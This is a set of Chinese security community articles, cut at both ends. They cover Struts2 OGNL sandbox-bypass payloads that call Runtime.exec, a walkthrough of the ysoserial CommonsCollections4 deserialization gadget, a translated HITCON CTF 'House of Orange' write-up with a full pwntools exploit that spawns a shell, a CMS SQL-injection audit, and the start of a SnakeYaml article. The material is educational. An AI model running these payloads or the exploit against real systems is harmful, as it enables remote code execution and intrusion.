到了2.3.30(2.5.2)之后的版本，我们可以使用的`_memberAccess`和`DefaultMemberAccess`都进入到黑名单中了，覆盖的方法看似就不行了，而这个时候S2-045的payload提供了一种新的思路：
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))
可以看到绕过的关键点在于：
* 利用Ognl执行流程利用`container`获取了`OgnlUtil`实例
* 清空了`OgnlUtil$excludedClasses`黑名单，释放了`DefaultMemberAccess`
* 利用`setMemberAccess`覆盖
而具体的流程可以参考2.2的内容。
### 3.5 Struts 2.5.16
分析过S2-057后，你会发现ognl注入很容易复现，但是想要调用静态方法造成代码执行变得很难，我们来看一下Struts2又做了哪些改动：
* 2.5.13版本后禁止访问`coontext.map`
准确来说是ognl包版本的区别，在2.5.13中利用的是3.1.15版本，在2.5.12版本中使用的是3.1.12版本：
而这个改变是在`OgnlContext`中：
不只是get方法，put和remove都没有办法访问了，所以说从根本上禁止了对`context.map`的访问。
* 2.5.20版本后`excludedClasses`不可变了，具体的代码在[这里](https://github.com/apache/struts/commit/748da3f8ce6b9f3953bc418745c35a534e5b98ca)
所以在S2-045时可使用的payload已经没有办法再使用了，需要构造新的利用方式。
文章提出了这么一种思路:
* 没有办法使用`context.map`，可以调用`attr`，前文说过`attr`中保存着整个`context`的变量与方法，可以通过`attr`中的方法返回给我们一个`context.map`。
* 没有办法直接调用`excludedClasses`，也就不能使用`clear`方法来清空，但是还可以利用`setter`来把`excludedClasses`给设置成空
* 清空了黑名单，我们就可以利用`DefaultMemberAccess`来覆盖`_memberAccess`，来执行静态方法了。
而这里又会出现一个问题，当我们使用`OgnlUtil`的`setExcludedClasses`和`setExcludedPackageNames`将黑名单置空时并非是对于源（全局的OgnlUtil）进行置空，也就是说`_memberAccess`是源数据的一个引用，就像前文所说的，在每次`createAction`时都是通过`setOgnlUtil`利用全局的源数据创建一个引用，这个引用就是一个`MemberAccess`对象，也就是`_memberAccess`。所以这里只会影响这次请求的`OgnlUtil`而并未重新创建一个新的`_memberAccess`对象，所以旧的`_memberAccess`对象仍未改变。
而突破这种限制的方式就是再次发送一个请求，将上一次请求已经置空的`OgnlUitl`作为源重新创建一个`_memberAccess`，这样在第二次请求中`_memberAccess`就是黑名单被置空的情况，这个时候就释放了`DefaultMemberAccess`，就可以进行正常的覆盖以及执行静态方法。
poc为：
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))
(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('curl 127.0.0.1:9001'))
需要发送两次请求：
## 0x04 现阶段的OGNL
Struts2在
2.5.16版本后做了很多修改，截止到写文章的时候，已经更新到2.5.20，接下来我将把这几个版本的区别全部都列出来，并且说明现在绕过Ognl沙箱面临着哪些阻碍。同上一节，左边都为较新的版本，右边为较旧的版本。
### 4.1 2.5.17的改变（限制命名空间）
1. 黑名单的变动，禁止访问`com.opensymphony.xwork2.ognl.`
讲道理，2.5.17版本的修补真的是很暴力，直接在黑名单中加上了`com.opensymphony.xwork2.ognl.`也就是说我们根本没办法访问这个Struts2重写的ognl包了。
2. 切断了动态引用的方式，需要利用构造函数生成
不谈重写了`setExcludedClasses`和`setExcludedPackageNamePatterns`，单单黑名单的改进就极大的限制了利用。
### 4.2 2.5.19的改进
1. ognl包的升级，从3.1.15升级到3.1.21
2. 黑名单改进
3. 在`OgnlUtil`中`setXWorkConverter`、`setDevMode`、`setEnableExpressionCache`、`setEnableEvalExpression`、`setExcludedClasses`、`setExcludedPackageNamePatterns`、`setExcludedPackageNames`、`setContainer`、`setAllowStaticMethodAccess`、`setDisallowProxyMemberAccess`都从public方法变成了protected方法了：
也就是说没有办法显式调用`setExcludedClasses`、`setExcludedPackageNamePatterns`、`setExcludedPackageNames`了。
### 4.3 master分支的改变
1. ognl包的升级，从3.1.21升级到3.2.10，直接删除了`DefaultMemberAccess.java`，同时删除了静态变量`DEFAULT_MEMBER_ACCESS`，并且`_memberAccess`变成了final：
2. `SecurityMemberAccess`不再继承`DefaultMemberAccess`而直接转为`MemberAccess`接口的实现：
可以看到Struts2.5.*基本上是对Ognl的执行做出了重大的改变，`DefaultAccess`彻底退出了历史舞台意味着利用父类覆盖`_memberAccess`的利用方式已经无法使用，而黑名单对于`com.opensymphony.xwork2.ognl`的限制导致我们基本上没有办法利用`Ognl`本身的API来更改黑名单，同时`_memberAccess`变为final属性也使得S2-057的这种利用`_memberAccess`暂时性的特征而进行“重放攻击”的方式测地化为泡影。
### 4.4 总结
Struts2随着其不断地发展，减少了原来框架的一部分灵活性而大大的增强了其安全性，如果按照master分支的改动趋势上看，以我的理解上来说，可以说现在基本上没得搞…
## 0x05 Reference
* <https://cloud.tencent.com/developer/article/1024093>
* <https://lgtm.com/blog/apache_struts_CVE-2018-11776-exploit>
* 《Struts2技术内幕》
* * * | 社区文章 |
**作者：welkin@京东安全
公众号：[京东安全](https://mp.weixin.qq.com/s/vq4_L8UCEEW9NDSSrnRcSA "京东安全")**
本文主要分为两方面，其一是基于PriorityQueue类的序列化对象的构造，另一方面是PriorityQueue对象在反序列化过程中恶意代码的触发原理。
### 背景及概要
随着Java应用的推广和普及，Java安全问题越来越被人们重视，纵观近些年来的Java安全漏洞，反序列化漏洞占了很大的比例。就影响程度来说，反序列化漏洞的总体影响也明显高于其他类别的漏洞。
在反序列化漏洞的利用过程中，攻击者会构造一系列的调用链以完成其攻击行为。如何高效的生成符合条件且可以稳定利用的攻击Payload成为了攻击链条中的重要一环，当前已经有很多现成的工具帮助我们完成Payload的生成工作。本文主要以Ysoserial工具为例分析了基于org.apache.commons.collections4类库的Gadget，其通过构造一个特殊的PriorityQueue对象，将其序列化成字节流后，在字节流反序列化的过程中触发代码执行。
更多关于Ysoserial的信息，请参考：
<https://github.com/frohoff/ysoserial>
本文主要分为两方面，其一是基于PriorityQueue类的序列化对象的构造，另一方面是PriorityQueue对象在反序列化过程中恶意代码的触发原理。下文将从这两方面展开描述一些细节以及实际测试时的一些问题，整体的流程如图1-1所示。
图1-1
### 序列化对象的构造
首先，被序列化为字节流的对象实际是一个特殊的PriorityQueue对象，本小节主要分析构造该对象的过程，即图1-1的第一步。
图2-1为`ysoserial.payloads.CommonsCollections4`中getObject方法的代码，是用于构造该PriorityQueue对象的代码：
图2-1
上图中需要注意的有如下两点：
1. 通过createTemplatesImpl方法生成templates对象
2. 通过PriorityQueue类的比较器将构造的一系列transformer串联起来
#### 0x0A createTemplatesImpl方法生成攻击载荷
通过createTemplatesImpl方法生成templates对象是非常重要的一部分，因为这是实际承载我们恶意代码的对象，详细说一下，跟进分析createTemplatesImpl方法，其代码具体实现和关键点流程分别如下图2-2和图2-3所示：
图2-2
图2-3
首先生成TemplatesImpl实例，然后通过javassist类库修改StubTransletPayload类字节码，在其中插入执行命令的代码（这里是通过`java.lang.Runtime.getRuntime().exec()`方法执行命令，也可以插入其他利用代码，如反弹shell等），然后将其父类设置为abstTranslet类，最后将修改后的字节码通过反射写入到TemplatesImpl实例的_bytecodes变量中，这里还同时写入了Foo.class的字节码。除此之外，为了后续恶意代码的触发（如作者注释中所写：required
to make TemplatesImpl
happy），还要修改TemplatesImpl实例的`_name`和`_tfactory`变量，否则后面会在命令代码执行前抛出异常。
StubTransletPayload类代码实现如图2-4所示：
图2-4
StubTransletPayload类继承自AbstractTranslet类并实现了Serializable接口，通常我们构造一个恶意类可能会直接在static代码块或构造方法中写入我们想要执行的代码，这一步在上面通过javassist类库实现，关于StubTransletPayload类需要继承AbstractTranslet类的原因会在反序列化恶意代码触发时解释。
以上即为createTemplatesImpl方法的实现，其本质上是构造了一个特定结构的TemplatesImpl类实例，具体变量的值如图2-5所示：
图2-5
#### 构造并串联transformer
回到图2-1本段开始处getObject方法的代码中，在35行和40行分别初始化了ConstantTransformer对象和InstantiateTransformer对象，47行将两个对象构造成Transformer数组作为参数初始化了ChainedTransformer对象chain。
而在50行，这个ChainedTransformer对象chain又是我们要序列化的对象PriorityQueue中comparator构造方法的参数，comparator可以理解为在PriorityQueue中决定优先次序的比较器，此处用的是TransformingComparator对象。
在44-45行、55-57行利用java的反射机制和引用传递的特性修改chain对象中的变量，ConstantTransformer对象中iConstant变量的值设为`com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class`，InstantiateTransformer对象中iParamTypes设为javax.xml.transform.Templates.class，iArgs设为此前构造的templates对象。
51、52行向队列中插入两个1，这里是为了后面堆化时触发一次堆排序。
最终构造了一个用TransformingComparator对象作比较器的PriorityQueue对象，其内存中变量示意图和抽象结构图分别如图2-6和图2-7所示：
图2-6
图2-7
接下来将分析下这个对象序列化后的字节序列如何在反序列化的过程中触发代码执行。
#### 0x3 反序列化过程中恶意代码的触发原理
反序列化开始至触发代码执行的整体流程如图3-1所示：
图3-1
反序列化过程中首先进入ObjectInputStream类的readObject方法中，然后进入readObject0方法中读取字节流，其中会读取tc标记，然后根据tc标记的类型进入不同的逻辑处理函数中，标记类型可见图3-2：
图3-2
反序列化的是PriorityQueue对象，这里会进入TC_OBJECT的处理逻辑中，跟进到readOrdinaryObject方法里，其具体代码如图3-3，在1769行读取类描述信息，1780行通过类描述信息，初始化对象obj（即PriorityQueue对象）：
图3-3
在图3-4中1793行判断是否实现Externalizable接口，通过Externalizable接口可以通过调用对象的readExternal方法实现自定义地完全控制某一对象及其超类的流格式和内容，这里代码进入默认的readSerialData方法中。
图3-4
在图3-5中1882行判断序列化对象是否有readObject方法，如果有则通过反射调用对象的readObject方法为成员变量赋值，接下来就进入了PriorityQueue对象的readObject方法中。
图3-5
图3-6为PriorityQueue对象的readObject方法：
图3-6
图3-7中在defaultReadObject方法中会调用defaultReadFields方法为成员变量赋值：
图3-7
defaultReadFields方法中1989行会递归调用readObject0方法为对象的成员变量赋值直至完成，逻辑与前面描述相似，此处不再赘述。
图3-8
defaultReadObject方法执行完成后，代码流程回到PriorityQueue对象的readObject方法（图3-6）中，读取被transient修饰的Object数组queue（此前被赋值为两个int型的数值1），这部分可以和PriorityQueue类的writeObject方法对照着看（图3-9）。
图3-9
然后代码流程进入图3-6中173行的heapify方法，PriorityQueue本质上是一个最小堆，通过siftDown方法进行次序的调整实现堆化，之前往PriorityQueue对象中插入两个1，可以使队列的SIZE满足for循环的条件从而进入siftDown方法中。
继续跟进siftDown方法，次序的调整必然涉及比较，在这儿此前精心构造的比较器就派上用场了，跟进siftDownUsingComparator方法，在图3-11中699行调用了比较器的compare方法。
图3-11
跟进compare方法，在比较前会先通过transformer的transform方法转换一下对象。而此处的transformer正是我们此前构造的ChainedTransformer对象chain序列化成字节流后又反序列化所得（在递归调用readObject0方法时实现），如图3-12所示。
图3-12
继续跟进到ChainedTransformer的transform方法中，此时iTransformers中有ConstantTransformer对象和InstantiateTransformer对象，此处代码逻辑是将ConstantTransformer对象中transform方法的返回值作为参数传入InstantiateTransformer对象的transform方法中。
图3-13
ConstantTransformer对象中transform方法的返回iConstant变量，即com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class:
图3-14
InstantiateTransformer对象中transform方法反射获取构造方法后生成了TrAXFilter类的实例，通过newInstance方法进入了TrAXFilter类含参构造方法TrAXFilter(Templates
templates)中，并将TemplatesImpl实例作为参数传入，如图3-15所示。
图3-15
TrAXFilter(Templates
templates)方法代码如图3-16所示，在64行调用了TemplatesImpl对象的newTransformer方法，newTransformer方法中又调用getTransletInstance方法（图3-17中410行），恶意代码的触发便是在该方法中。
图3-16
图3-17
如图3-18所示，getTransletInstance方法中第376行调用了defineTransletClasses方法后，380行会将_class数组中的某个类实例化：
图3-18
跟进defineTransletClasses方法发现有如图3-19所示这样一段代码：
图3-19
其在for循环里遍历_bytecodes数组并通过TransletClassLoader加载字节码，其中会判断_class[i]的父类是否为`ABSTRACT_TRANSLET（”com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet”）`，这解释了为什么_bytecodes中的StubTransletPayload类要继承自AbstractTranslet类，_transletIndex变量初始化时为-1，若此处判断条件为false，`_transletIndex`的值仍为-1，则程序执行流程会进入后面`if
(_transletIndex <
0)`的代码块中抛出异常。构造StubTransletPayload类为AbstractTranslet类的子类即可把恶意类的索引值i赋值给`_transletIndex`。defineTransletClasses方法执行完成后，跳回到getTransletInstance方法中，将`_class[_transletIndex]`（即StubTransletPayload类）实例化触发我们之前通过javassist类库插入的代码块，实现代码执行（图3-20）。
图3-20
到这儿基本上整个Gadget的触发流程就走完了。此处通过调用TemplatesImpl对象的newTransformer方法去间接的调用getTransletInstance方法实现代码执行。除此之外，TemplatesImpl类中的getOutputProperties方法又调用了newTransformer，例如fastjson的反序列化中基于TemplatesImpl类的Gadget便是通过getOutputProperties方法去触发代码执行。
理论上只要构造特定的TemplatesImpl类对象，然后调用其getTransletInstance方法就可以实现代码执行。为方便理解，我写了一个简单的Demo，通过反射正向构造了一个TemplatesImpl对象并调用其getTransletInstance方法来触发代码执行，代码如下：
evil.java代码如下:
### 关于类的加载中静态代码的执行
在demo中是通过插入静态代码块的方式注入恶意代码，我看到后面defineClass对类的加载时一度以为这样的实现类似于fastjson中基于`com.sun.org.apache.bcel.internal.util.ClassLoader`类实现的POC（具体可参考文章DefineClass在Java反序列化当中的利用），在类加载的过程中实现的static代码块执行，但后来调试时发现`static{}`中插入的恶意代码仍然是在类实例化（即调用`newInstance()`）时触发。
关于类加载的过程，在《深入理解Java虚拟机》中虚拟机类加载机制一节中有详细的说明，类加载可分为加载、验证、准备、解析和初始化这五个阶段。其中我们关心的static代码块的执行是在初始化阶段，初始化阶段实际是执行类构造器`<clinit>()`的过程，`<clinit>()`是在Javac编译过程中生成字节码时被添加到语法树中。
`<clinit>()`方法是编译器自动收集类中的所有类变量的赋值动作和静态语句块中的语句合并产生。——《深入理解Java虚拟机》
书中还提到虚拟机规范严格规定了有且只有四种情况必须立即对类进行初始化：
* 遇到new、getstatic、putstatic、invokestatic这四条字节码指令时，如果类还没有进行过初始化，则需要先触发其初始化。生成这四条指令最常见的Java代码场景是：使用new关键字实例化对象时、读取或设置一个类的静态字段（static）时（被static修饰又被final修饰的，已在编译期把结果放入常量池的静态字段除外）、以及调用一个类的静态方法时。
* 使用Java.lang.refect包的方法对类进行反射调用时，如果类还没有进行过初始化，则需要先触发其初始化。
* 当初始化一个类的时候，如果发现其父类还没有进行初始化，则需要先触发其父类的初始化。
* 当虚拟机启动时，用户需要指定一个要执行的主类，虚拟机会先执行该主类。
前面在通过TransletClassLoader中的defineClass方法加载类时仅将字节码装载到了JVM中，没有执行类的初始化，而fastjson的Poc中通过Class.forName()加载类时，Class.forName()方法除了将对应的类装载到JVM中，还会执行类构造器`<clinit>()`对类进行初始化，从而执行static代码块。Class.forName()代码实现（JDK1.7）见图4-1：
图4-1
forName0()方法用native关键字修饰，说明这个方法是原生函数，非Java语言实现。可从forName()方法的注释中看到第二个参数决定类是否会被初始化，在forName(String
className)中默认为true。以上基本解释了我在关于注入的静态代码触发位置的疑惑。
### 总结
整个Gadget的调用栈见图5-1：
图5-1
反序列化时首先从ObjectInputStream类的readObject方法中进入到PriorityQueue类的readObject方法里，其readObject方法中会进行堆化，堆化时队列中元素大于等于2时会进行堆排序，这时会调用自定义的比较器（`TransformingComparator`），`TransformingComparator`在比较次序时会将对象进行转换。转换时使用的transformer是基于ConstantTransformer对象和`InstantiateTransformer`对象构造的ChainedTransformer对象，ChainedTransformer对象在其转换方法（`transform()`）中会依次调用`ConstantTransformer`对象和`InstantiateTransformer`对象的transform方法，并将前一个对象transform方法的返回值作为参数传入后一个对象的transform方法中，`InstantiateTransformer`对象中的transform方法会基于参数（这里即`ConstantTransformer.transform()`的返回值`com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter`）新建实例，则进入了TrAXFilter类的构造方法中，这里调用了TransformerImpl实例的newTransformer方法，又调用了getTransletInstance方法，加载`_bytecodes`中修改后的StubTransletPayload类字节码并生成实例，从而触发代码执行。
### 参考
<https://github.com/frohoff/ysoserial>
<https://stackoverflow.com/questions/39504847/why-does-class-not-invoke-the-static-block-in-a-class>
<https://www.freebuf.com/articles/others-articles/167932.html>
* * * | 社区文章 |
# 【CTF攻略】CTF Pwn之创造奇迹的Top Chunk
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **hac425**](http://bobao.360.cn/member/contribute?uid=2553709124)
**稿费：160RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**概述**
这是一道 HITCON CTF Qual 2016 的pwn500的题.利用方式很独特故分享之。
程序链接: [https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/house-of-orange-500](https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/house-of-orange-500)
**了解程序**
首先看看程序运行时的界面:
下面对每个功能进行解释。
**Build the house**
1\. 创建一个房子,房子中可以选择所放置的桔子的颜色
2\. 在这个过程中会创建两个结构体,这里把他们分别命名为 orange和house,之后分配了一个name缓冲区.
结构体用c描述为
struct orange{
int price ;
int color ;
};
struct house {
struct orange *org;
char *name ;
};
3\. 只能创建四次房子。
**See the house**
显示房子的信息。
**Upgrade the house**
1\. 更新房子的信息
2\. 可以修改房子的名字和桔子的信息
3\. 只能修改3次
**Give up**
退出程序
**漏洞**
**1\. 堆溢出**
当我们修改房子的名称时，程序没有对名字的大小进行检查,导致了一个堆溢出。下面是触发漏洞伪代码：
printf("Length of name :");
size = read_int();
if(size > 0x1000){
size = 0x1000;
}
printf("Name:");
read_input(cur_house->name,size);
printf("Price of Orange: ");
cur_house->org->price = read_int();
**2\. 信息泄露**
程序使用read()函数来读取信息导致了一个信息泄露。
void read_input(char *buf,unsigned int size){
int ret ;
ret = read(0,buf,size);
if(ret <= 0){
puts("read error");
_exit(1);
}
}
**利用漏洞**
**思路**
1\. [失败]使用堆溢出去重写top chunk的大小,把他的大小调到很大.接着使用house of
force技术来重写name指针.但是程序使用的是无符号整形而且size的大小小于0x1000,所以这种思路行不通.
2\. [失败]使用堆溢出重写name指针,但是这里程序只使用了malloc函数.所以这种思路也行不通.
3\. [成功]我们通过使用 位于 sysmalloc中的 _int_free来创建一个free chunk,然后使用unsorted bin
attack来重写libc中的_IO_list_all 结构体,进而控制程序的流程.
**重写top chunk的大小**
我们想使用sysmalloc的_int_free,因此我们要做的第一步就是通过使用堆溢出漏洞来重写top chunk的大小来触发sysmalloc.
触发sysmalloc: 如果top chunk的大小不够大的话.系统会使用
sysmalloc来分配一块新的内存区域.这样一来就会增加原来堆的大小或者mmap一块新的内存.我们需要malloc一个大小小于mmp_.mmap_threshold的内存来扩大那个旧的堆.
在sysmalloc中触发_init_free:为了在sysmalloc中触发_init_free,我们需要将top chunk的大小设为大于
MINSIZE(0X10)的数值.主要的问题是在sysmalloc()中还有两个 assert 来进行校验.因此我们还需要伪造一个符和逻辑的top
chunk来绕过他们.为了绕过这些assert,size值有以下的一些限制.
1.大于MINSIZE(0X10)
2.小于所需的大小 + MINSIZE
3.prev inuse位设置为1
4.old_top + oldsize要在一个页中.
举个例子.假设top chunk的地址位于 0x6030d0
并且他的大小为0x20f31,我们就应该重写他的大小为0xf31来绕过那些assert,然后我们申请一个比较大的chunk来触发sysmalloc和
_int_free.最后我们就能在堆中得到一个 unsorted bin chunk.
**信息泄露**
通过上一步我们已经在堆中创建了一个unsorted bin chunk,我们就可以通过他来泄露libc和堆的地址.
泄露libc的地址:我们首先新建一间新的house,其大小设为一个比较大的值但同时还要小于我们刚刚设置top
chunk的大小,通过这种方式来拿到刚才那个unsorted bin chunk.接下来我们可以输入8个字节作为house的name,j接着在使用 See
the house 功能我们就能拿到libc的地址.由于malloc函数不会清理位于堆中的值,所以我们才能得到libc的地址.
泄露堆的地址:因为这里已经没有任何一个chunk可以匹配unsorted bin的大小了,所以他会被作为第一个large bin.这里有两个成员需要注意:
fd_nextsize 和 bk_nextsize,在large chunk中上述两个成员位于的位置的值为两个指针.分别指向下一个和前一个large
chunk..我们可以在修改 house信息时利用它来泄露堆的地址.
**在malloc中止过程中劫持程序执行流**
当glibc检测到一些内存崩溃问题时,他会进入到Abort routine(中止过程),他会把所有的streams送到第一阶段中(stage
one).换句话说就是,他会进入_IO_flush_all_lockp函数,并会使用_IO_FILE对象,而_IO_FILE对象会在_IO_list_all中被调用.如果我们能够重写这些指针并且伪造那个对象,那么我们就能拿到程序的控制权了.因为_IO_FILE
会使用一个名为_IO_jump_t的虚函数表来调用一些函数,所以这也是一个伪造的点.虚表的结构大致为
下面是当glibc检测到内存崩溃时处理的大致流程.
所以我们现在要做的就是伪造_IO_FILE对象,伪造_IO_FILE对象的目的是为了在触发_IO_flush_all_lockp时程序能去调用
_IO_OVERFLOW对应的函数,所以我们的伪造还需要遵循一定的限制条件.具体如下:
0841 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
0842 #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
0843 || (_IO_vtable_offset (fp) == 0
0844 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
0845 > fp->_wide_data->_IO_write_base))
0846 #endif
0847 )
0848 && _IO_OVERFLOW (fp, EOF) == EOF)
在_IO_FILE对象的最后还有一个虚表,我们可以在堆中伪造一个.
当我们申请一块堆内存时,系统首先会在unsorted bin中处理.不管位于unsorted
bin中的chunk的大小是否匹配他都会把chunk给移除下来,在这一过程中他并没有检测那个链表的完整性.在unsorted chunk被从unsorted
bin移除前,我们还可以实现 一些内存写 : bk = addr – 0x10, addr = addr_of_unsorted_bin
(bk为unsorted chunk的bk指针,addr为任意地址, addr_of_unsorted_bin为 unsorted
bin的地址.).最后我们决定使用这种技巧来用 unsorted bin 的地址来重写_IO_list_all.
目前我们还是不能控制程序的执行流,原因在于我们还不能控制main_arena中的内容,我们决定使用一个执行下一个 _IO_FILE 对象的指针.他是位于
main_arena中的一个 small bin中.我们可以通过使用 upgrade 函数来重写 unsorted
chunk的大小来控制他的内容,与此同时我们再伪造一个_IO_FILE 对象.之后我们使用 build 函数来触发一个unsorted bin attack
攻击重写 _IO_list_all.最后,他会触发一个 unsorted bin chunk的分配接着系统会检测到
malloc函数内部的一些内存错误,而此时我们已经控制了 _IO_list_all ,所以我们现在已经可以干任何事了.大致的伪造流如下
测试截图
**exploit:**
#!/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
# Author : Angelboy
# http://blog.angelboy.tw
host = "52.68.192.99"
port = 56746
r = remote(host,port)
def build(size,name,price,color):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(name)
r.recvuntil(":")
r.sendline(str(price))
r.recvuntil(":")
r.sendline(str(color))
def see():
r.recvuntil(":")
r.sendline("2")
data = r.recvuntil("+++++++++++++++++++++++++++++++++++++")
return data
def upgrade(size,name,price,color):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(name)
r.recvuntil(":")
r.sendline(str(price))
r.recvuntil(":")
r.sendline(str(color))
build(0x80,"ddaa",199,2)
payload = "a"*0x90
payload += p32(0xdada) + p32(0x20) + p64(0)
payload += p64(0) + p64(0xf31) # forge top size
upgrade(0xb1,payload,123,3) # overwrite the size of top
build(0x1000,"qqqqq",199,1) # trigger the _int_free in sysmalloc
build(0x400,"aaaaaaa",199,2) # create a large chunk and Leak the address of libc
data = see().split("Price")[0].split()[-1].ljust(8,"x00")
libcptr = u64(data)
libc = libcptr - 0x3c4188
print "libc:",hex(libc)
upgrade(0x400,"c"*16,245,1) # Leak the address of heap
data = ("x00" +see().split("Price")[0].split()[-1]).ljust(8,"x00")
heapptr = u64(data)
heap = heapptr - 0x100
print "heap:",hex(heap)
io_list_all = libc + 0x3c4520
system = libc + 0x45380
vtable_addr = heap + 0x728-0xd0
payload = "b"*0x410
payload += p32(0xdada) + p32(0x20) + p64(0)
stream = "/bin/shx00" + p64(0x61) # fake file stream
stream += p64(0xddaa) + p64(io_list_all-0x10) # Unsortbin attack
stream = stream.ljust(0xa0,"x00")
stream += p64(heap+0x700-0xd0)
stream = stream.ljust(0xc0,"x00")
stream += p64(1)
payload += stream
payload += p64(0)
payload += p64(0)
payload += p64(vtable_addr)
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(0)*3 # vtable
payload += p64(system)
upgrade(0x800,payload,123,3)
r.recvuntil(":")
r.sendline("1") # trigger malloc and abort
r.interactive()
**总结**
通过一个堆溢出覆盖top chunk的size字段后,在利用 unsorted chunk attack攻击
_IO_FILE对象,最终实现代码执行,这整个过程确实精妙.也可以看出作者对linux的堆管理机制应该是十分的了解.所以我们在研究一些东西时一定要研究透彻,只有这样才能想到别人想不到的思路.
**参考来源**
<http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html>
[http://www.bitscn.com/network/hack/200607/30235.html](http://www.bitscn.com/network/hack/200607/30235.html)
[https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/house-of-orange-500](https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/house-of-orange-500) | 社区文章 |
# 前言
这是我第一次使用phpstorm+debug来调试代码，关于此次审计也是学习了很多优秀师傅的文章，非常感谢，个人水平较差，文中错误内容还请师傅们指教纠正
其实最近看到许多大佬都在审计这个cms，于是我就去该cms的官网的演示站中，在url中跟了一个逗号发现存在注入，立马提交到某NVD还真的给我归档了，但是还是想搞清楚漏洞原理，这就开始了一次的审计！
# 审计环境搭建
[phpstorm破解版本](https://www.52pojie.cn/forum.php?mod=viewthread&tid=1184468)
debug环境配置这里推荐[qing师傅](https://www.cnblogs.com/-qing-/p/11256913.html)的文章，直接梭哈
# 漏洞及cms介绍
这个cms其实[爱吃猫的咸鱼师傅](https://xz.aliyun.com/t/7775)和[xiaoyu123](https://xz.aliyun.com/t/7872)师傅都审计过了，但是都不是我的这个洞。
咸鱼师傅的漏洞在/Home/c/HomeController.php中342-355行中，用户传入参数url然后进入到find函数中处理
而我这个版本已经是更新过后的，可以看到源码还是有些许不同的了
网站目录结构：
├── 404.html
├── A（admin后台的一些文件，审计重点）
├── Conf（一些网站的配置文件，公共函数）
├── FrPHP（框架）
├── Home（用户的一些文件，审计核心）
├── Public（上传文件保存的地方）
├── README.md
├── admin.php（后台入口）
├── backup（数据库备份文件）
├── cache（网站缓存）
├── favicon.ico
├── index.php（前台入口）
├── install（安装目录）
├── readme.txt
├── sitemap.xml
├── static（一些静态文件）
└── web.config
# debug开始调试
因为也没学过框架，但是看payload应该也知道应该是控制器出了问题，就决定倒着从payload入手，然后再框架控制器入口处下断点，然后跟踪到问题函数。
首先，开启debug监听小电话和浏览器debug插件
在\Home\c\CommonController.php 入口处18行下好断点，接着在浏览器中输入我们的漏洞url
<http://127.0.0.1/xinwenfenleier'/13.html>
我们不停的F8往下面调试，但是不进入具体的方法中
最后debug停在了\FrPHP\Fr.php中的343行，而我们的浏览器也得到了数据库的报错语句
这个时候我们重新debug一次，跟踪到最后一步也就是fr.php的343行call_user_func_array函数，call_user_func_array是一个回调函数，把数组的参数作为回调函数的参数，也就是下图，我们看到debug信息中调用了jizhi方法，F7跟进去
来到了\Home\c\HomeController.php文件中的jizhi方法，这是一个处理前台所有请求的方法，在debug调试信息我们可以看到我们请求的url
在没有开启url层级的情况下，他会将我们上面得到url参数用 /
分割成数组，在将html参数传给find方法中，我们在F8到70行，看到一个M方法和find方法，先F7跟进M方法
经过debug调试信息得知，这是返回了一个文件路径Frphp\lib\model，所以我们M方法大概率就是加载我们的find函数对应的路径
然后我们在跟进上上图的find方法，路径Frphp\lib\model.php，F7执行到153行 跟进findall方法，
findall方法，也看到没有什么过滤，直接最后拼接到146行的getarray方法，F8执行过去，再F7跟进去
最后来到了\FrPHP\db\DBholder.php 中的getarray方法，65行执行query查询函数，F7跟进去
query函数就是执行SQL语句并打印出来，可以看到debug信息中的查询语句和数据库报错信息。
# 总结
其中这个这也是一个很基础的漏洞，主要是让自己熟悉phpstorm配合xdebug进行代码调试，对于我这种刚刚代码审计初学者有很多的帮助，在代码不太读得懂的地方可以直观看到代码具体执行过程。如有分析的不对的地方或者见识浅薄的地方还望批评指正。 | 社区文章 |
# SnakeYaml 之不出网利用
## 前言
>
> SnakeYaml现有的通用利用方式是ScriptEngineManager这条链。这条链会在反序列化ScriptEngineManager的时候，在构造函数触发的函数调用中，通过spi机制去加载远程的jar包从而导致命令执行。这条链有一个利用前提就是需要出网，在不出网的环境下就无法RCE。P神的小密圈中有师傅给出了SnakeYaml的不出网利用方式的思路，故有了本文。对思路感到惊叹的同时却也叹息于自己的菜。
## 基本概念
### 简介
SnakeYaml是java的yaml解析类库，支持Java对象的序列化/反序列化。
### Yaml基础语法
YAML基本格式要求：
1. YAML大小写敏感；
2. 使用缩进代表层级关系；
3. 缩进只能使用空格，不能使用TAB，不要求空格个数，只需要相同层级左对齐（一般2个或4个空格）
示例如下：
environments:
dev:
url: http://dev.bar.com
name: Developer Setup
prod:
url: http://foo.bar.com
name: My Cool App
my:
servers:
- dev.bar.com
